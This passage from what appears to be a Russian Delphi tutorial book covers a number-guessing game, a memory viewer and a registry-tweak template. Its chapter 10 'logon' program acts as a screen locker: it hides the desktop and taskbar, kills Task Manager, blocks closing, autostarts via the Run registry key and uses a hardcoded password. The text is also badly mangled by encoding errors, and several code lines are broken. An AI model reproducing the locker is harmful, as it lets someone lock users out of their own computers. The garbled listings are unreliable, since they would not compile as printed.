В  if StrToInt(ch2.Text) = num then begin znak2.Caption:= '=' ;

В  x.Caption:= IntToStr(num);

  ShowMessage('Вы проиграли!' + #13#10 + 'В этот раз победил компьютер!' + #13#10 + ' Число угадано за ' + IntToStr(kolvo) + ' попытки');

В end;

end;

По нажатию кнопки Принять вариант мы проверяем, какой режим игры установлен: с другим игроком или против компьютера. Если мы играем с человеком, то далее осуществляется проверка: кто из игроков выдал свой вариант. Если это был первый игрок, то мы сравниваем его вариант ответа с загаданным числом и после этого отображаем соответствующий знак или сообщаем о победе первого игрока, если числа равны. Затем мы блокируем ввод с клавиатуры для первого игрока и разрешаем ввести число второму игроку.

После того как второй игрок выдал свой вариант ответа, мы выполняем те же проверки, и, если число не угадано, вновь даем право попытаться угадать загаданное число первому игроку. После того как кто-то из игроков дает вариант ответа, мы пополняем счетчик kolvo, чтобы потом сообщить, сколько попыток использовалось, чтобы угадать число.

Если игра проходит против компьютера, то мы не разблокируем ввод второго игрока вообще. Там просто будут отображаться варианты, выдаваемые компьютером. Каждый раз, перед тем как компьютер решает, какой вариант ему выбрать, он анализирует вариант, выданный игроком. Если текущий вариант игрока больше загаданного числа, то мы добавляем текущий вариант первого игрока в массив наибольших чисел. В этом массиве ищется самое маленькое число среди наибольших.

Если текущий вариант игрока меньше загаданного числа, то мы добавляем его в массив наименьших чисел. В этом массиве ищется самое большое число среди наименьших. Тем самым мы постоянно сокращаем диапазон вариантов для компьютера. Все это продолжается до тех пор, пока игрок или компьютер не угадает загаданное число.

Для того чтобы можно было переключаться между режимами игры "с человеком" и "против компьютера", создадим обработчик события OnClick для флажка comp:

procedure TForm1.compClick(Sender: TObject);

begin

 if comp.Checked then begin //если флажок установлен

  //блокируем ввод от второго игрока

В В ch2.Enabled:= False;

В В СЂl2.Enabled:= False;

  //включаем ввод от первого игрока

В В ch1.Enabled:= True;

В В pl1.Enabled:= True;

В end

В else begin

  //если игра идет с человеком, то

  //включаем ввод для второго игрока

В  ch2.Enabled:= True;

В В СЂl2.Enabled:= True;

В end;

end;

Осталось только обработать нажатие кнопки Новая игра:

procedure TForm1.Button1Click(Sender: TObject);

begin

В if ((StrToInt(finish.Text) > StrToInt(start.Text)) and (StrToInt(start.Text) > 0) and (StrToInt(finish.Text) < 60000))

 then {проверяем, не выходит ли заданное пользователем число за допустимые пределы}

  {загадаем случайное число в заданном диапазоне}

  num:= Random(StrToInt(finish.Text) – StrToInt(start.Text)) + StrToInt(start.Text)

 else ShowMessage('Неверный диапазон!');

 //обнуляем все, и придаем программе начальный вид

В znak1.Caption:= '';

В znak2.Caption:= '';

В ch1.Enabled:= True;

В ch2.Enabled:= False;

В pl1.Enabled:= True;

В pl2.Enabled:= False;

В x.Caption:= 'X';

В ch1.Text:= '0';

В ch2.Text:= '0';

 //очистим массивы наибольших и наименьших чисел

В for i:= 1 to kolvo+1 do begin

В  minimum[i]:= 0;

В  maximum[i]:= 0;

  big:= StrToInt(finish.Text); //наибольшее число

  small:= StrToInt(start.Text); //наименьшее число

В end;

 kolvo:= 0; //количество использованных попыток

end;

После того как пользователь указал диапазон, в котором должно находиться случайное число, мы проверяем, не является ли конечное значение меньше начального. Проверяем также, не является ли начальное значение меньше нуля и не превышает ли конечное значение 60000. Если все нормально, то загадываем число в заданном диапазоне. После этого обнуляем все значения и приводим программу к начальному виду.

Компилируем и запускаем программу на выполнение. Игра в действии показана на рис. 9.2.

Рис. 9.2. Игра "Угадывание чисел" в действии

 

Полный исходный код модуля

Полный исходный код программного модуля игры "Угадывание чисел" представлен в листинге 9. 1.

Листинг 9.1. Программный модуль игры "Угадывание чисел"

unit Unit1;

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls;

type TForm1 = class(TForm)

В Button1: TButton;

В Label1: TLabel;

В Label2: TLabel;

В start : TEdit;

В finish: TEdit;

В Label3: TLabel;

В pl1: TLabel;

В ch1: TEdit;

В pl2: TLabel;

В ch2: TEdit;

В comp: TCheckBox;

В Button2: TButton;

В x: TLabel;

В znak1: TLabel;

В znak2: TLabel;

В procedure FormCreate(Sender: TObject);

В procedure compClick(Sender: TObject);

В procedure Button1Click(Sender: TObject);

В procedure Button2Click(Sender: TObject);

private

В { Private declarations }

В procedure min();

В procedure max();

public

В { Public declarations }

end;

var

В Form1: TForm1;

В num, j, i, kolvo, big, small: integer;

 maximum, minimum: array [1..100] of integer; {массивы максимальных и минимальных чисел}

implementation

{$R *.dfm}

//процедура нахождения наименьшего числа

procedure TForm1.min();

begin

В for i:=1 to kolvo do begin

В В for j:=1 to kolvo do begin

   {Если число меньше наименьшего, то оно становится наименьшим}

В В  if minimum[j] > small then small:= minimum[j];

В В end;

В end;

end;

//процедура нахождения наибольшего числа

procedure TForm1.max();

var temp: integer;

begin

В temp:= StrToInt(finish.Text);

В for i:=1 to kolvo do begin

В В for j:=1 to kolvo do begin

В В  if temp > maximum[j] then

    if maximum[j] > 0 then temp:= maximum[j]; {если число больше наибольшего…}

В  end;

В end;

В if ( (temp<>0) and (temp<>StrTolnt(finish.Text)) ) then

  {… и если число входит в допустимый диапазон, то оно становится наибольшим}

В  big:= temp;

end;

procedure TForm1.compClick(Sender: TObject);

begin

 if comp.Checked then begin //если флажок установлен

  //блокируем ввод от второго игрока

В В ch2.Enabled:= False;

В В СЂl2.Enabled:= False;

  //включаем ввод от первого игрока

В В ch1.Enabled:= True;

В В pl1.Enabled:= True;

В end

В else begin

  //если игра идет с человеком, то

  //включаем ввод для второго игрока

В  ch2.Enabled:= True;

В В СЂl2.Enabled:= True;

В end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

В if ((StrToInt(finish.Text) > StrToInt(start.Text)) and (StrToInt(start.Text) > 0) and (StrToInt(finish.Text) < 60000))

 then {проверяем, не выходит ли заданное пользователем число за допустимые пределы}

  {загадаем случайное число в заданном диапазоне}

  num:= Random(StrToInt(finish.Text) – StrToInt(start.Text)) + StrToInt(start.Text)

 else ShowMessage('Неверный диапазон!');

 //обнуляем все, и придаем программе начальный вид

В znak1.Caption:= '';

В znak2.Caption:= '';

В ch1.Enabled:= True;

В ch2.Enabled:= False;

В pl1.Enabled:= True;

В pl2.Enabled:= False;

В x.Caption:= 'X';

В ch1.Text:= '0';

В ch2.Text:= '0';

 //очистим массивы наибольших и наименьших чисел

В for i:= 1 to kolvo+1 do begin

В  minimum[i]:= 0;

В  maximum[i]:= 0;

  big:= StrToInt(finish.Text); //наибольшее число

  small:= StrToInt(start.Text); //наименьшее число

В end;

 kolvo:= 0; //количество использованных попыток

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

 //увеличиваем количество попыток на единицу

В kolvo:= kolvo + 1;

 if not comp.Checked then //если идет игра с человеком

В begin

  if pl1.Enabled then begin //если ход первого игрока

  //если вариант больше загаданного числа, ставим знак >

В В if StrToInt(ch1.Text) > num then znak1.Caption:= '>';

  //если вариант меньше загаданного числа, ставим знак <

В В if StrToInt(ch1.Text) < num then znak1.Caption:= '<';

  if StrToInt(ch1.Text) = num then //если число угадано

В В begin

   znak1.Caption:= '='; //изменим знак на "="

   //вместо знака "X" показываем загаданное число

В  В С….Caption:= IntToStr(num);

   //выводим сообщение о победе первого игрока

   ShowMessage('Победил первый игрок!' + #13#10 + 'Число угадано за ' + IntToStr(kolvo) + ' попытки')

В  end;

  //передаем ход второму игроку

В  pl1.Enabled:= False;

В  ch1.Enabled:= False;

В  ch2.Enabled:= True;

В  pl2.Enabled:= True;

  Exit; //прерываем выполнение процедуры

В end;

 if pl2.Enabled then begin //если ход второго игрока

  {сравниваем загаданное число с вариантом второго игрока и ставим соответствующий знак}

В  if StrToInt(ch2.Text) > num then znak2.Caption:= '>';

В  if StrToInt(ch2.Text) < num then znak2.Caption := '<';

В В  if StrToInt(ch2.Text) = num then begin

В В В  znak2.Caption := '=';

В В В  x.Caption:= IntToStr(num);

    ShowMessage('Победил второй игрок!' + #13#10 + 'Число угадано за ' + IntToStr(kolvo) + ' попытки')

В В  end;

В  end;

  //передаем ход первому игроку

В В СЂl2.Enabled:= False;

В В ch2.Enabled:= False;

В В ch1.Enabled:= True;

В В pl1.Enabled:= True;

В  Exit;

В end;

 if comp.Checked then begin //если игра против компьютера

  {проверяем вариант первого игрока и ставим соответствующий знак}

В  if StrToInt(ch1.Text) > num then znak1.Caption:= '>';

В  if StrToInt(ch1.Text) < num then znak1.Caption:= '<';

В  if StrToInt(ch1.Text) = num then begin

В В  znak1.Caption:= '=';

В В  x.Caption:= IntToStr(num);

   ShowMessage('Вы победили!' + #13#10 + 'Число угадано за ' + IntToStr(kolvo) + ' попытки');

В В  Exit;

В  end;

  //если вариант первого игрока больше загаданного числа

В  if znak1.Caption = '>' then begin

   maximum[kolvo]:= StrToInt(ch1.Text); {добавляем в массив наибольших чисел вариант первого игрока}

В В  max();

   //ищем наибольшее число

В  end;

  //если вариант первого игрока меньше загаданного числа

В  if znak1.Caption = '<' then begin

   minimum[kolvo]:= StrToInt(ch1.Text); {добавляем число в массив наименьших чисел, выданных первым игроком}

   min();//ищем наименьшее число

В В  end;

   //после всех расчетов, компьютер выдает свой вариант

   ch2.Text:= IntToStr(Random(big– small)+ small);

В  end;

  //проверяем вариант компьютера и ставим соответствующий знак

В  if StrToInt(ch2.Text) > num then znak2.Caption:= '>';

В  if StrToInt(ch2.Text) < num then znak2.Caption:= '<';

В  if StrToInt(ch2.Text) = num then begin znak2.Caption:= '=' ;

В  x.Caption:= IntToStr(num);

  ShowMessage('Вы проиграли!' + #13#10 + 'В этот раз победил компьютер!' + #13#10 + ' Число угадано за ' + IntToStr(kolvo) + ' попытки');

В end;

end;

end.

⊚ Р’СЃРµ файлы проекта Рё исполняемый файл рассмотренной программы находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter09.

 

Постановка задачи

Разработать программу, которая осуществляет вход в систему. Интерфейс входа в систему сначала скрывает все от пользователя, а затем просит ввести пароль. Если пароль верный, то разблокируем систему и выходим из программы. В противном случае, продолжаем требовать ввод пароля.

 

Разработка формы

Создайте новый проект Delphi и измените свойства формы согласно табл. 10.1.

Таблица 10.1. Свойства формы программы входа в систему

Разместите на форме компонент Label категории Standard и измените его свойства согласно табл. 10.2.

Таблица 10.2. Свойства компонента

Разместите под меткой компонент Edit категории Standard и присвойте его свойству Name значение pass. Для того чтобы скрыть ввод текста (то есть, вводимый пользователем пароль), следует указать в свойстве PasswordChar символ, который будет отображаться вместо вводимого текста. Можно указать здесь символ "*" или, например, знак доллара "$".

Под полем pass разместите кнопку (компонент Button категории Standard) и присвойте ее свойству Caption значение Enter. По нажатию этой кнопки будет выполняться проверка корректности пароля.

Еще нам потребуется два компонента Timer категории System. Для первого таймера необходимо изменить значение свойства Interval на 10, для второго никаких свойств изменять не нужно.

Результат оформления формы должен соответствовать рис. 10.1.

Рис. 10.1. Форма для программы входа в систему

 

Разработка программного кода

Объявим в качестве закрытых членов класса формы переменную типа HWND и две процедуры, которые разработаем чуть позже:

type

В TForm1 = class(TForm)

 …

private

В { Private declarations }

 h1: HWND; //переменная, содержащая идентификатор окна

 procedure logon (); //блокирует все, пока пароль не будет

  //введен верно

 procedure_check() ; //проверка корректности пароля

public

В { Public declarations }

end;

Теперь в разделе implementation создадим сами процедуры. Сначала процедура check:

procedure TForm1.check();

begin

 if pass.Text = 'password' then //если пароль верный

В begin

  //узнаем идентификатор Рабочего стола

В В h1 := FindWindow('Progman' , nil) ;

  //разрешаем работу с Рабочим столом

В В ShowWindow(h1 , sw_show) ;

  // узнаем идентификатор панели задач

В В h1 := FindWindow('Shell_traywnd ', nil) ;

  //разрешаем работу с панелью задач

В В ShowWindow(h1, sw_show) ;

  halt; //закрываем программу

 end // иначе, выводим сообщение о неверном пароле

В  else ShowMessage('Wrong password! ');

end;

Процедура check проверяет корректность пароля. В данном случае в качестве пароля используется слово "password". Если в поле pass введено именно это слово, то разблокируем Рабочий стол и панель задач. После этого доступ ко всему открыт, и мы завершаем работу программы. Если же введенный пользователем текст не совпадает с корректным паролем, то мы продолжаем требовать ввод пароля.

Теперь очередь процедуры logon:

procedure TForm1.logon();

begin

 //узнаем идентификатор Рабочего стола

В  h1 := FindWindow('Progman', nil);

 ShowWindow(h1 , sw_hide) ; //прячем Рабочий стол

 //находим панель задач

В h1 := FindWindow('Shell_traywnd', nil);

 ShowWindow(h1 , sw_hide) ; //прячем панель задач

 {проверяем, не запущен ли диспетчер задач}

  h1 := FindWindow(nil, 'Диспетчер задачWindows');

 {если да, то закрываем окно диспетчера задач}

В if (h1В <> 0) then PostMessage(h1, WM_QUIT, 1, 0);

end;

Здесь мы блокируем Рабочий стол и панель задач, а затем проверяем, не пытается ли пользователь отключить нашу программу с помощью диспетчера задач. Если окно диспетчера задач открыто, то закрываем его.

Теперь нам почти не придется программировать — мы просто будем вызывать процедуры check и logon. При нажатии кнопки Enter вызывается процедура check:

procedure TForm1.Button1Click(Sender: TObject);

begin

В  check ;

end;

Для того чтобы не утруждать пользователя нажатиями кнопки на форме, имитируем эту операцию по нажатию в поле pass клавиши . Для этого создайте обработчик события pass.OnKeyРгеss:

procedure TForm1.passKeyPress(Sender: TObject; var Key:Char);

begin

 if key = #13 then // если нажата клавиша

  check; //вызываем процедуру check

end;

#13 —это код клавиши .

Коды символов и клавиш клавиатуры перечислены в приложении А.

Для первого таймера событие OnTimer будет содержать только вызов процедуры logon:

procedure TForm1.Timer1Timer(Sender: TObject);

begin

В logon;

end;

Для второго таймера (у которого свойство Interval имеет значение 1000) добавьте в обработчик события OnTimer следующий код:

procedure TForm1.Timer2Timer(Sender: TObject);

begin

 h1:= FindWindow('Progman',nil); //поиск Рабочего стола

  ShowWindow(h1, sw_hide) ; //прячем Рабочий стол

 CloseWindow(h1); //сворачиваем окно Рабочего стола

  pass . SetFocus; //переводим курсор в текстовое поле

end;

Сворачивание окна Рабочего стола приводит к закрытию системного меню Пуск, если оно открыто. В конечном итоге пользователь не имеет доступа к Рабочему столу, к панели задач, к меню Пуск и диспетчеру задач, однако, несмотря на то, что наша программа не имеет заголовка, ее можно закрыть с помощью комбинации клавиш . Для того чтобы отключить эту возможность, создайте обработчик события главной формы OnCloseQuery и добавьте в него следующий код:

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);

begin

В CanClose:= False;

end;

Единственное, что осталось сделать, — обеспечить программе автозагрузку, указав путь к ней в системном реестре. Для работы с реестром необходимо добавить в раздел uses ссылку на модуль Registry, а за тем создать следующий обработчик события формы OnCreate:

procedure TForm1.FormCreate(Sender; TObject);

var

 Reg: TRegistry; //переменная для работы с реестром

begin

В Reg:= TRegistry.Create;

 Reg.RootKey:= HKEY_CURRENT_USER ; //только для текущего пользователя

 Reg . OpenKey (' Software\Microsoft\Windows\CurrentVersion\Run', true) ; //открываем раздел автозагрузки в реестре

  //и записываем название и полный путь к нашей программе

В Reg.WriteString('Logon', Application.ExeName);

 Reg.CloseKey; //закрываем реестр

 Reg.Free; //освобождаем память

end;

Теперь наша программа будет загружаться для текущего пользователя вместе с системой и требовать ввод пароля. Программа в действии показана на рис. 10.2.

Рис. 10.2. Программа Вход в систему в действии

 

Полный исходный код модуля

Полный исходный код модуля программы Вход в систему представлен в листинге 10.1.

Листинг 10.1. Модуль программы Вход в систему

unit Unit1;

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, Registry;

type TForm1 = class(TForm)

В pass: TEdit;

В Label1: TLabel;

В Timer1: TTimer;

В Button1: TButton;

В Timer2: TTimer;

В procedure Button1Click(Sender: TObject);

В procedure passKeyPress(Sender: TObject; var Key: Char);

В procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);

В procedure FormCreate(Sender: TObject);

В procedure Timer1Timer(Sender: TObject);

В procedure Timer2Timer(Sender: TObject);

private

В { Private declarations }

 h1: HWND; //переменная, содержащая идентификатор окна

 procedure logon(); //блокирует все, пока пароль не будет введен верно

 procedure check(); //проверка корректности пароля

public

В { Public declarations }

end;

var

В Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.check();

begin

 if pass.Text = 'password' then //если пароль верный

В begin

  //узнаем идентификатор Рабочего стола

В В h1:= FindWindow('Progman',nil);

  //разрешаем работу с Рабочим столом

В В ShowWindow(h1, sw_show);

  // узнаем идентификатор панели задач

В В h1:= FindWindow('Shell_traywnd',nil);

  //разрешаем работу с панелью задач

В В ShowWindow(h1, sw_show);

  halt; //закрываем программу

 end // иначе, выводим сообщение о неверном пароле

В else ShowMessage('Wrong password!');

end;

procedure TForm1.logon();

begin

 //узнаем идентификатор Рабочего стола

В h1:= FindWindow('Progman', nil);

 ShowWindow(h1, sw_hide); //прячем Рабочий стол

 // находим панель задач

В h1:= FindWindow('Shell_traywnd', nil);

 ShowWindow(h1, sw_hide); //прячем панель задач

 {проверяем, не запущен ли диспетчер задач}

 h1:= FindWindow(nil, 'Диспетчер задачWindows');

 {если да, то закрываем окно диспетчера задач}

В if (h1В <> 0) then PostMessage(h1, WM_QUIT, 1, 0);

end;

procedure TForm1.Timer1Timer(Sender: TObject);

begin

В logon;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

В check;

end;

procedure TForm1.passKeyPress(Sender: TObject; var Key:Char);

begin

 if key = #13 then // если нажата клавиша

  check; //вызываем процедуру check

end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);

begin

В CanClose:= False;

end;

procedure TForm1.FormCreate(Sender; TObject);

var

 Reg: TRegistry;//переменная для работы с реестром

begin

В Reg:= TRegistry.Create;

 Reg.RootKey:= HKEY_CURRENT_USER; //только для текущего пользователя

 Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', true); //открываем раздел автозагрузки в реестре

  //и записываем название и полный путь к нашей программе

В Reg.WriteString('Logon', Application.ExeName);

 Reg.CloseKey; //закрываем реестр

 Reg.Free; //освобождаем память

end;

procedure TForm1.Timer2Timer(Sender: TObject);

begin

 h1:= FindWindow('Progman', nil); //поиск Рабочего стола

 ShowWindow(h1, sw_hide); //прячем Рабочий стол

 CloseWindow(h1); //сворачиваем окно Рабочего стола

 pass.SetFocus; //переводим курсор в текстовое поле

end;

end.

⊚ Р’СЃРµ файлы проекта Рё исполняемый файл рассмотренной программы находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter 10.

 

Постановка задачи

Разработать программу, которая отображает информацию о физической, страничной и виртуальной памяти.

 

Разработка формы

Создайте новый проект Delphi и присвойте свойству Caption формы значение Memory Info.

Для вывода различной информации о памяти мы будем использовать компонент Label категории Standard. Разместите на форме один над другим семь таких компонентов, присвоив свойству Left каждого из них значение 230, а свойству Caption — значение 0.

Слева от этого столбца меток разместите в столбец еще семь компонентов Label, которые будут пояснять числа, отображаемые предыдущими семью метками. Присвойте их свойству Caption следующие значения (сверху вниз): Загруженность памяти:, Всего физической:, Свободно физической:, Всего страничной:. Свободно страничной:, Всего swap: И Свободно swap:.

Еще одним способом отображения загруженности физической памяти будет компонент Gauge категории Samples. Разместите этот компонент вдоль правого края формы и измените значение его свойства Kind на gkVerticalBar, чтобы изменения свойства Gauge.Progress отображались вдоль вертикальной шкалы.

Теперь обеспечим настройку автообновления данных о памяти. Для этого нам понадобится компонент Timer категории System. Пользователь будет задавать период обновления информация о памяти, с помощью компонента SpinEdit категории Samples. В его свойствах следует изменить значение MaxValue на 60, a MinValue — на 1. Это даст возможность пользователю задавать диапазон обновления от 1 до 60 секунд.

Слева от компонента SpinEdit разместите поясняющую метку с текстом Частота обновления:, а справа — метку с текстом секунд.

В правом нижнем углу формы разместите кнопку (компонент Button категории Standard) и присвойте ее свойству Caption значение Установить. По нажатию этой кнопки будет устанавливаться указанная в компоненте SpinEdit частота обновления информации.

Полученная форма должна соответствовать рис. 11.1.

Рис. 11.1. Форма для отображения информации о памяти компьютера

 

Разработка программного кода

В программе будет только две процедуры: первая — обработчик события Timer1.OnTimer, которая определяет и отображает информацию о памяти; вторая — обработчик события OnClick кнопки Установить для задания частоты обновления информации.

Создадим вначале главную часть программы — обработчик события Timer1.OnTimer:

procedure TForm1.Timer1Timer(Sender: TObject);

var

 mem: TMemoryStatus; //хранит всю информацию о памяти

begin

 mem.dwLength:= SizeOf(mem); //размер памяти

 GlobalMemoryStatus(mem); //узнаем всю информацию о памяти

 //выводим информацию в соответствующие метки

В with mem do begin

  // Загруженность памяти

В  Label1.Caption:= IntToStr(dwMemoryLoad) + ' %';

  Label2.Caption:= IntToStr((dwTotalPhys) div 1024) + 'Кбайт' ; // Всего физической

   Label3.Caption:= IntToStr((dwAvailPhys) div 1024) + 'Кбайт' ; // Свободно физической

   Label4.Caption:= IntToStr((dwTotalPageFile) div 1024) + 'Кбайт' ; // Всего страничной

   Label5.Caption:= IntToStr((dwAvailPageFile) div 1024) + 'Кбайт'; // Свободно страничной

  Label6.Caption:= IntToStr((dwTotalVirtual) div 1024) + 'Кбайт' ; // Всего swap

   Label7.Caption:= IntToStr((dwAvailVirtual) div 1024) + ' Кбайт' ; // Свободно swap

  Gauge1.MaxValue:= dwTotalPhys; //определяем максимум

  //отображаем процент загруженности памяти

В В  Gauge1.Progress:= dwTotalPhys-dwAvailPhys;

В end;

end;

Сначала мы объявляем переменную mem, которая служит для хранения информации о памяти, полученной с помощью функции GlobalMemoryStatus. После того как мы получили всю необходимую информацию о памяти, делим все значения на 1024, чтобы перевести данные в килобайты. Затем выводим информацию с помощью соответствующих меток, а также изменяем текущую позицию для компонента Gauge.

Осталось только реализовать изменение частоты обновления информации, для чего достаточно изменять значение свойства Timer1.Interval. Обработаем нажатие кнопки Установить:

procedure TForm1.Button1Click(Sender: TObject);

begin

 //установка интервала работы таймера

В  Timer1.Interval:= SpinEdit1.Value*1000;

end;

Поскольку интервал для таймера задается в мс, а в SpinEdit мы вводим значение в секундах, то мы должны умножать значение свойства SpinEdit.Value на 1000.

Программа в действии показана на рис. 11.2.

Рис. 11.2. Программа отображения информации о памяти в действии

 

Полный исходный код модуля

Полный исходный код модуля программы отображения информации о памяти представлен в листинге 11.1.

Листинг 11.1. Модуль программы Memory info

unit Unit1

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Gauges, ExtCtrls, Spin;

type TForm1 = class(TForm)

В Label1: TLabel;

В Label2: TLabel;

В Label3: TLabel;

В Label4: TLabel;

В Label5: TLabel;

В Label6: TLabel;

В Label7: TLabel;

В Gauge1: TGauge;

В Timer1: TTimer;

В Label8: TLabel;

В Label9: TLabel;

В Label10: TLabel;

В Label11: TLabel;

В Label12: TLabel;

В Label13: TLabel;

В Label14: TLabel;

В SpinEdit1: TSpinEdit;

В Label15: TLabel;

В Label16: TLabel;

В Button1: TButton;

В procedure Timer1Timer(Sender: TObject);

В procedure Button1Click(Sender: TObject);

private

В { Private declarations }

public

В { Public declarations }

end;

var

В Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);

var

 mem: TMemoryStatus; //хранит всю информацию о памяти

begin

 mem.dwLength:= SizeOf(mem); //размер памяти

 GlobalMemoryStatus(mem); //узнаем всю информацию о памяти

 //выводим информацию в соответствующие метки

В with mem do begin

  // Загруженность памяти

В  Label1.Caption:= IntToStr(dwMemoryLoad) + ' %';

  Label2.Caption:= IntToStr((dwTotalPhys) div 1024) + 'Кбайт'; // Всего физической

  Label3.Caption:= IntToStr((dwAvailPhys) div 1024) + 'Кбайт'; // Свободно физической

  Label4.Caption:= IntToStr((dwTotalPageFile) div 1024) + 'Кбайт'; // Всего страничной

  Label5.Caption:= IntToStr((dwAvailPageFile) div 1024) + 'Кбайт'; // Свободно страничной

  Label6.Caption:= IntToStr((dwTotalVirtual) div 1024) + 'Кбайт'; // Всего swap

  Label7.Caption:= IntToStr((dwAvailVirtual) div 1024) + ' Кбайт'; // Свободно swap

  Gauge1.MaxValue:= dwTotalPhys; //определяем максимум

  //отображаем процент загруженности памяти

В В Gauge1.Progress:= dwTotalPhys-dwAvailPhys;

В end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

 //установка интервала работы таймера

В Timer1.Interval:= SpinEdit1.Value*1000;

end;

end.

⊚ Р’СЃРµ файлы проекта Рё исполняемый файл рассмотренной программы находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter_11.

 

Постановка задачи

Разработать программу, которая осуществляет настройку ОС Windows через реестр.

Поскольку ОС Windows не предоставляет возможность полной визуальной настройки, существует множество программ для "тонкой" настройки, этой операционной системы. Например, в Windows XP нельзя, просто "сбросив флажок", отключить автозагрузку с CD-ROM или заблокировать системный реестр. Все это можно сделать только через реестр, что не очень-то удобно. К тому же, запомнить все ключи реестра невозможно, а справочник не всегда оказывается под рукой.

В этой главе будет показано как написать программу для "тонкой" настройки ОС Windows. Мы не будем разрабатывать многофункциональное приложение, а создадим только шаблон, в который затем читатель сможет сам добавить необходимые ему пункты по настройке операционной системы.

⇘ Краткий справочник РїРѕ реестру Windows находится РІ приложении Р’.

 

Разработка формы

Создайте новый проект Delphi. Присвойте свойству Caption формы значение Настройка ОС Windows. Разместите на форме компонент GroupBox категории Standard и присвойте его свойству Caption значение Опции. На компоненте GroupBox разместите один над другим три компонента CheckBox категории Standard и присвойте их свойству Caption следующие значения: Отключить автозагрузку с CD-ROM, Отключить свойства экрана И Заблокировать реестр. У нижнего края формы разместите кнопку (компонент Button категории Standard), присвоив ее свойству Caption значение Выполнить.

Полученная форма должна соответствовать рис. 12.1.

Рис. 12.1. Форма программы настройки Windows

 

Разработка программного кода

В программе потребуется обработать два события: создание формы и нажатие кнопки Выполнить. При создании формы мы должны считывать значения из реестра, и устанавливать соответствующие флажки. При нажатии кнопки Выполнить будут применяться выбранные пользователем настройки.

Для начала добавим в раздел uses ссылку на модуль Registry для работы с системным реестром. Также необходимо объявить глобальную переменную reg типа TRegistry, с помощью которой мы будем работать с реестром:

var

В Form1: TForm1;

В  reg: TRegistry;

Обработчик события создания главной формы OnCreate:

procedure TForm1.FormCreate(Sender: TObject);

begin

 reg := TRegistry.Create; //открываем реестр

 //настройки для текущего пользователя

В reg.RootKey:= HKEY_CURRENT_USER;

 reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom' , False) ; //открываем раздел

 if reg.ValueExists('Autorun') then //если ключ существует

  if reg.readinteger('autorun') = 1 //и если он равен 1,

    then //то устанавливаем флажок первой опции

В В В  CheckBox1.Checked:= True;

 reg.CloseKey; //закрываем реестр

 //Таким же образом проверяем остальные опции

 //Для опции "Отключить свойства экрана":

В reg := TRegistry.Create ;

В reg.RootKey:= HKEY_CURRENT_USER;

В reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\' +

В  'Policies\System', False);

В if reg.ValueExists('NoDispCPL') then

В  if reg.ReadInteger('NoDispCPL') = 1 then CheckBox2.Checked:= True;

В reg.CloseKey;

 //для опции "Заблокировать реестр":

В reg:= TRegistry.Create;

В reg.RootKey:= HKEY_CURRENT_USER;

В reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\' +

В  'Policies\System', False);

В if reg.ValueExists('DisableRegistryTools') then

В  if reg.ReadInteger('DisableRegistryTools') = 1 then CheckBox3.Checked:= True;

В reg.CloseKey;

end;

При создании формы мы проверяем, какие из опций уже установлены. Если опция уже установлена, то устанавливаем соответствующий флажок.

Обработчик события OnClick для кнопки Выполнить:

procedure TForm1.Button1Click(Sender: TObject);

begin

В if CheckBox1.Checked then

 begin //если установлен флажок напротив первой опции

  reg:= TRegistry.Create; //открываем реестр

  //открываем ветку реестра

В  reg.RootKey:= HKEY_LOCAL_MACHINE;

  reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom', True); //открываем требуемый раздел в реестре

  //записываем соответствующий ключ

В  reg.WriteInteger('Autorun', 1);

В  reg.CloseKey;

 end else begin //иначе…

В  reg:= TRegistry.Create;

В  reg.RootKey:= HKEY_LOCAL_MACHINE;

В  reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom', True);

  //…отключаем эту возможность

В  reg.WriteInteger('Autorun', 0);

В  reg.CloseKey;

В end;

 //Таким же образом обрабатываем остальные опции

 //Для опции "Отключить свойства экрана":

В if CheckBox2.Checked then begin

В  reg:= TRegistry.Create;

В  reg.RootKey:=HKEY_CURRENT_USER;

В  reg.OpenKey('Software\microsoft\Windows\CurrentVersion\' +

В В  'Policies\System', True) ;

  //отключить свойства экрана

В  reg.WriteInteger('NoDispCPL', 1);

В  reg.CloseKey;

В end else begin

В  reg:= TRegistry.Create;

В  reg.RootKey:= HKEY_CURRENT_USER;

В  reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'+

В  В 'Policies\System', True) ;

  //Восстановить свойства экрана

В  reg.WriteInteger('NoDispCPL', 0);

В  reg.CloseKey ;

В  end;

 //Для опции "Заблокировать реестр":

В if CheckBox3.Checked then begin

В  reg:= TRegistry.Create;

В  reg.RootKey:= HKEY_CURRENT_USER;

В  reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\' +

В  В 'Policies\System', True) ;

  //Заблокировать реестр

В  reg.WriteInteger('DisableRegistryTools', 1);

В  reg.CloseKey;

В end else begin

В  reg:= TRegistry.Create;

В  reg.RootKey:= HKEY_CURRENT_USER;

В  reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\' +

В  В 'Policies\System', True);

  //открыть доступ к реестру

В  reg.WriteInteger('DisableRegistryTools', 0);

В  reg.CloseKey;

В end;

end;

